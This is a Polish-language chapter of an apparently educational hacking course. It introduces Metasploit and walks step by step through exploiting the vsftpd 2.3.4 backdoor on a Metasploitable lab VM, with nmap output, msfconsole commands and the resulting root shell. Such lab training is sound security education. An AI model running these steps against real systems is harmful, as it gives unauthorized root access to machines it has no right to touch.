<- Poprzedni rodział -- Następny rozdział ->

Rozdział 18: Metasploit – wykorzystujemy luki w systemie oraz oprogramowaniu

We wcześniejszych rozdziałach poznałeś sposoby łamania haseł w sieciach wi-fi, zdobywania danych które użytkownik wprowadził do przeglądarki, a w ostatnim w jaki sposób wyświetlić uruchomione programy na urządzeniu.

Man in the Middle był dość ciekawym sposobem uzyskania informacji, ale aby cokolwiek zrobić, musiałeś być w tej samej sieci. Nawet jak w niej byłeś to jedyne co mogłeś przechwycić to były dane z przeglądarek. Oczywiście są to ważne dane takie jak hasła i loginy, ale czy czujesz pewien niedosyt?

Jeżeli na pytanie odpowiedziałeś „tak” to nie masz już wyjścia, musisz czytać dalej. W tym rozdziale poznamy program dzięki któremu jesteśmy w stanie uzyskać bezpośredni dostęp do urządzenia.

18.1. Czym jest oprogramowanie Metasploit?

Metasploit jest udostępniony całkowicie za darmo i posiada bardzo duży zakres możliwości. Sam w sobie zawiera ogromną bazę exploitów, które w bardzo łatwy sposób jesteś w stanie wykorzystać. Jednak nie jesteś jedynie ograniczony do zaimplementowanych sposobów, możesz sam tworzyć własne i dzięki metasploit je wykorzystać.

Jego funkcjonalność nie zamyka się na samych exploitach. Dzięki niemu jesteś w stanie gromadzić dane, szukać luk w sieci. Wielu doświadczonych osób zajmujących się na co dzień cyberbezpieczeństwem uważa ten program za najlepsze narzędzie do tego celu.

Dla mnie samego jest czymś co bardzo dobrze wspominam na początku swojej nauki. Do dnia dzisiejszego pamiętam jak pierwszy raz udało mi się zrobić to co za chwilę Ci pokażę. Mile wspominam ten dreszczyk emocji, zadowolenia z tego, że się udało.

„KURDE! Ja mam pełny dostęp do tego systemu”, mniej więcej tak było. Natomiast dzisiaj, może już nie tak samo reaguję ponieważ trochę czasu już używam Metasploita, ale nadal ta radość z powodzenia jest obecna. Mam nadzieję, że dalszy materiał wywoła w Tobie taką samą pozytywną energię jaką wywołał we mnie po raz pierwszy i nabierzesz jeszcze większych chęci do nauki.

Jednak jeżeli poczujesz jakiś niedosyt bo dostępny materiał nie jest dla Ciebie wystarczający to mogę Ci polecić kurs samych autorów znajdujący się pod adresem:

https://www.offensive-security.com/metasploit-unleashed/

18.2. Pierwsze uruchomienie

Opisywane oprogramowanie pod względem uruchomienia niczym się nie różni od poznanych wcześniej. Jak z każdym nowym programem w systemie Linux powinniśmy na początku zapoznać się z jego dziennikiem pomocy wpisując:

msfconsole --help

Poczytaj trochę na temat opcji jakie możesz wykorzystać przy uruchomieniu programu. Niektórymi z nich zajmiemy się później.

Dlaczego nie teraz?

Ponieważ Metasploit na samym początku należy poznać od środka.

Zastanawiasz się to po co Ci kazałem spojrzeć na opcje przy uruchomieniu tego programu? Odpowiedź na to pytanie jest dość prosta...

Odpowiedź na to pytanie jest dość prosta...

Zawsze powinieneś tak robić korzystając z nowego programu!

Dzięki temu bardzo często poznasz w jaki sposób ułatwić sobie życie przy samym uruchomieniu.

Ale wystarczy o tym, mam nadzieję, że choć trochę przekonałem Cię.

Uruchommy teraz nasz Metasploit normalnie:

sudo msfconsole

Powinieneś otrzymać informacje tak jak poniżej:

=[ metasploit v6.1.14-dev ] + -- --=[ 2180 exploits - 1155 auxiliary - 399 post ] + -- --=[ 592 payloads - 45 encoders - 10 nops ] + -- --=[ 9 evasion ] Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again

Na samym wstępie jesteś w stanie wyczytać ile program posiada wbudowanych exploitów oraz payloadów.

Wiem… Możesz mieć pewien mętlik w głowie bo nie zająłem się jeszcze wyjaśnieniem tych dwóch pojęć. Nie martw się jednak, różnice poznasz przy omawianiu poszczególnych luk. Teraz widzisz jak ogromne możliwości stwarza sam program, szczególnie, że masz jeszcze możliwość tworzenia własnych exploitów i wykorzystywać je w Metasploit. Tworząc własne rozwiązania jesteś w stanie zająć się samą implementacją, a nie myśleć dodatkowo nad stworzeniem narzędzia które to zautomatyzuje. Niestety na tym etapie zajmiemy się tylko tymi wbudowanymi exploitami, ale myślę, że na sam początek będzie to dla Ciebie również interesujące.

18.2.1. Wyświetlamy wszystkie możliwości konfiguracji programu

Metasploit posiada wbudowane polecenie help dzięki któremu poznasz wszystkie dostępne w nim możliwości konfiguracji. Wystarczy, że w uruchomionym programie wpiszesz:

help

Pokaże się pokaźna lista. Niektóre z nich posłużą ustawieniom, niektóre wyświetlają dodatkowe możliwości, a na samym dolne znajdują się przykłady wykorzystania niektórych z poleceń.

18.3. Wykorzystanie pierwszego exploita

Nim przejdziemy dalej musimy poznać czym tak naprawdę jest exploit. Otóż najprościej wytłumaczyć go można jako luka w programie lub systemie, którą wykorzystuje się, aby uzyskać dostęp do urządzenia. Łatwiej jest mi używać terminu exploit niż luka w oprogramowaniu dlatego pozostanę przy tej nazwie.

Wszelkie testy będziemy przeprowadzali w sieci NAT którą stworzyliśmy w VirtualBoxie już dawno temu. Naszym celem będzie system Metasploitable który również powinien być Ci znany ze wcześniejszych rozdziałów. Jeżeli masz uruchomiony tylko Kali Linux to nadeszła pora na uruchomienie Metasploitable.

18.3.1. Nmap wykrywanie uruchomionego oprogramowania

Poświęciłem temu tematowi bardzo dużo czasu w poprzednim rozdziale dlatego teraz bez większego rozpisywania się wyświetlmy wszystkie uruchomione serwisy w Metasploitable:

nmap 10.0.2.5 -sV PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login OpenBSD or Solaris rlogind 514/tcp open tcpwrapped 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Jako wynik powinieneś otrzymać taką samą lub podobną listę jak powyżej. W ramach przypomnienia 10.0.2.5 jest to adres ip jaki został przypisany do mojej maszyny wirtualnej Metasploitable. Jeżeli u Ciebie Virtualbox przypisał lub Ty przypisałeś inny adres ip to po nazwie nmap wpisz właściwy. Inaczej otrzymasz informację, że urządzenie jest wyłączone.

Teraz postaram się po kolei opisać co należy zrobić gdy takie informacje uzyskamy.

18.3.2. vsftpd 2.3.4

Z powyższej listy pierwszym wykrytym serwisem jest vsftpd 2.3.4. Zajmowaliśmy się w skrócie już nim w poprzednim rozdziale, ale nie wyjaśniłem w jaki sposób go wykorzystać. Uruchom teraz przeglądarkę i wpisz w wyszukiwarce exploit vsftpd 2.3.4.

Pierwszą, lub jedną z pierwszych stron jaka powinna się pojawić jest

https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/

Tutaj chcę wspomnieć, że rapid7 jest to firma która stworzyła Metasploit dlatego rozwiązanie z ich strony powinno być sprawdzane w pierwszej kolejności.

Wczytując się w informację na stronie dowiadujemy się, kiedy exploit został wykryty, kto go wykrył i w jaki sposób go wykorzystać. Spójrzmy na sam dół strony, znajduje się tam instrukcja krok po kroku w jaki sposób należy skorzystać z luki.

msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show targets ...targets... msf exploit(vsftpd_234_backdoor) > set TARGET < target-id > msf exploit(vsftpd_234_backdoor) > show options ...show and set options... msf exploit(vsftpd_234_backdoor) > exploit

Jeżeli chcesz to sam spróbuj wykorzystać tego exploita bez mojej pomocy. Jednak jeżeli napotkałeś jakiekolwiek problemy czytaj dalej, ale wiedz, że wtedy to już będzie spoiler.

Aby z jakiegokolwiek exploita skorzystać należy na samym początku wybrać go w programie i odpowiednio skonfigurować. Uruchamiamy przecież na przykład grę w której możemy ustawić różne opcje dostosowując rozgrywkę do własnych potrzeb. W pewnym sensie tutaj jest tak samo. Dlatego aby móc cokolwiek ustawić musimy najpierw wskazać metasploitowi exploita dzięki czemu będziemy mogli dokonać niezbędnej konfiguracji. W przypadku opisywanego wystarczy, że wpiszemy polecenie w programie:

use exploit/unix/ftp/vsftpd_234_backdoor

Otrzymasz w zamian informację:

[*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Na razie nie zastanawiaj się nad pierwszą linią, pomiń nią. Wyjaśnię payloady w późniejszym czasie. Teraz chciałbym abyś zwrócił uwagę na sam sposób zapisu. Po nazwie msf6 która jest skrótową nazwą programu, znajduje się nazwa exploita którego użyliśmy. W ten sposób Metasploit określa, że dany exploit może zostać skonfigurowany.

Wiesz już, że musisz go skonfigurować, ale nasuwa się pytanie jak to zrobić? Otóż należy wyświetlić listę dostępnych opcji przy pomocy polecenia:

show options

Otrzymasz następujące możliwości konfiguracji:

Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 21 yes The target port (TCP) Payload options (cmd/unix/interact): Name Current Setting Required Description ---- --------------- -------- ----------- Exploit target: Id Name -- ---- 0 Automatic

Wyświetliła się lista opcji modułów. Niestety ze względu na ograniczenie co do wielkości strony przy niektórych rozdzielczościach, rubryki na stronie mogą trochę być porozrzucane. Jednak oryginał masz przed oczami dlatego myślę, że nie będzie to stanowiło najmniejszego problemu.

Teraz skupmy się na wyniku. W pierwszej tabeli mamy dwa wiersze. W pierwszym z nich znajduje się RHOSTS, w drugim RPORT.

Zwróć uwagę, że po RPORT znajduje się już liczba 21. Metasploit uzupełnił automatycznie port jaki powinien zostać użyty by wykorzystać wybranego exploita. Pomimo, że jest on raczej właściwy zawsze warto sprawdzić czy na pewno. Wróć teraz do miejsca gdzie wykonywaliśmy skanowanie nmap i sprawdź czy przy serwisie znajduje się port 21. Jeżeli jest inny to musisz użyć polecenia:

set RPORT CYFRA

Oczywiście jako cyfra wpisujesz numer portu i wciskasz enter.

Po właściwym skonfigurowaniu portu przyszła pora na ustawienie IP urządzenia na którym chcemy wykorzystać poznawany exploit. Jak już wspomniałem do mojego systemu Metasploitable został przypisany adres ip 10.0.2.5 dlatego ustawiam tą opcję tak:

set RHOST 10.0.2.5

Teraz pozostaje sprawdzić czy wszystko zostało prawidłowo ustawione. Robimy to poznanym wcześniej poleceniem:

show options

Tabela powinna prezentować się następująco:

Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.0.2.5 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 21 yes The target port (TCP)

Zgodnie z tym co się wyświetliło mamy wszystko ustawione właściwie.

Jeżeli samodzielnie będziesz ustawiał podobnego exploita, zwróć uwagę na kolumnę Required czyli po polsku wymagany. Jeżeli w tej kolumnie masz wpisane yes ( czyli tak ) oznacza to, że opcja musi zostać ustawiona by exploit zadziałał.

Teraz jak już upewniliśmy się, że mamy wszystko właściwie ustawione nie pozostaje nic innego jak tylko uruchomić naszego exploita. Robimy to bardzo sensownym poleceniem:

exploit

Po wciśnięciu klawisza enter będziesz łączył się z urządzeniem wpisanym w RHOST. Jeżeli wszystko się uda powinieneś otrzymać informację:

[*] 10.0.2.5:21 - The port used by the backdoor bind listener is already open [+] 10.0.2.5:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (10.0.2.15:38135 -> 10.0.2.5:6200 ) at 2022-02-07 16:58:25 -0500

I brawo! Właśnie uzyskałeś kontrolę nad systemem. Aby się o tym przekonać wpisz polecenie:

uname -a

Służy ono do wyświetlania nazwy systemu, dlatego po jego wpisaniu powinieneś otrzymać informację:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Aby zakończyć połączenie z systemem należy wpisać exit.

Mam nadzieję, że cieszysz się tym tak jak ja kiedyś. Właście udało Ci się uzyskać pełny dostęp do urządzenia. Znając właściwe polecenia w konsoli jesteś w stanie zrobić z nim co tylko zechcesz.

18.3.3. Błąd „Exploit completed, but no session was created”.

Jeżeli otrzymałeś informację:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit [*] 10.0.2.5:21 - Banner: 220 (vsFTPd 2.3.4) [*] 10.0.2.5:21 - USER: 331 Please specify the password. [*] Exploit completed, but no session was created.

Oznacza to, że bardzo dużo czasu spędziłeś w metasploit i wygasło hasło konta super użytkownika czyli sudo. W tej sytuacji należy wyłączyć program i ponownie uruchomić go z uprawnieniami jakie nadaje nam polecenie sudo. Po tym należy powtórzyć powyższe czynności i wszystko powinno właściwie działać.

Podsumowanie

W tym rozdziale za zadanie postawiłem sobie wprowadzić Cię w obsługę programu Metasploit i mam nadzieję, że udało mi się to osiągnąć. Jak się niebawem przekonasz program ten jest jednym z najlepszych narzędzi hakerskich na rynku. Niepoznanie jego funkcjonalności w tej dziedzinie to moim zdaniem grzech. Na pewno czujesz pewien niedosyt dlatego w następnym rozdziale zajmiemy się kolejnymi sposobami dostępu do urządzenia przy pomocy Metasploit.

<- Poprzedni rodział -- Następny rozdział ->

Strona stosuje pliki cookies w celu profilowania, oraz analizuje statystykę ruchu. Prosimy o zapoznanie się z naszą polityką prywatności i wyrażenie zgody na podejmowane działania. W przypadku braku zgody i pozostaniu na niej strona może nie działać właściwie.

Akceptuję warunki zawarte w Polityce Prywatności

Nie akceptuję warunków i chcę opuścić stronę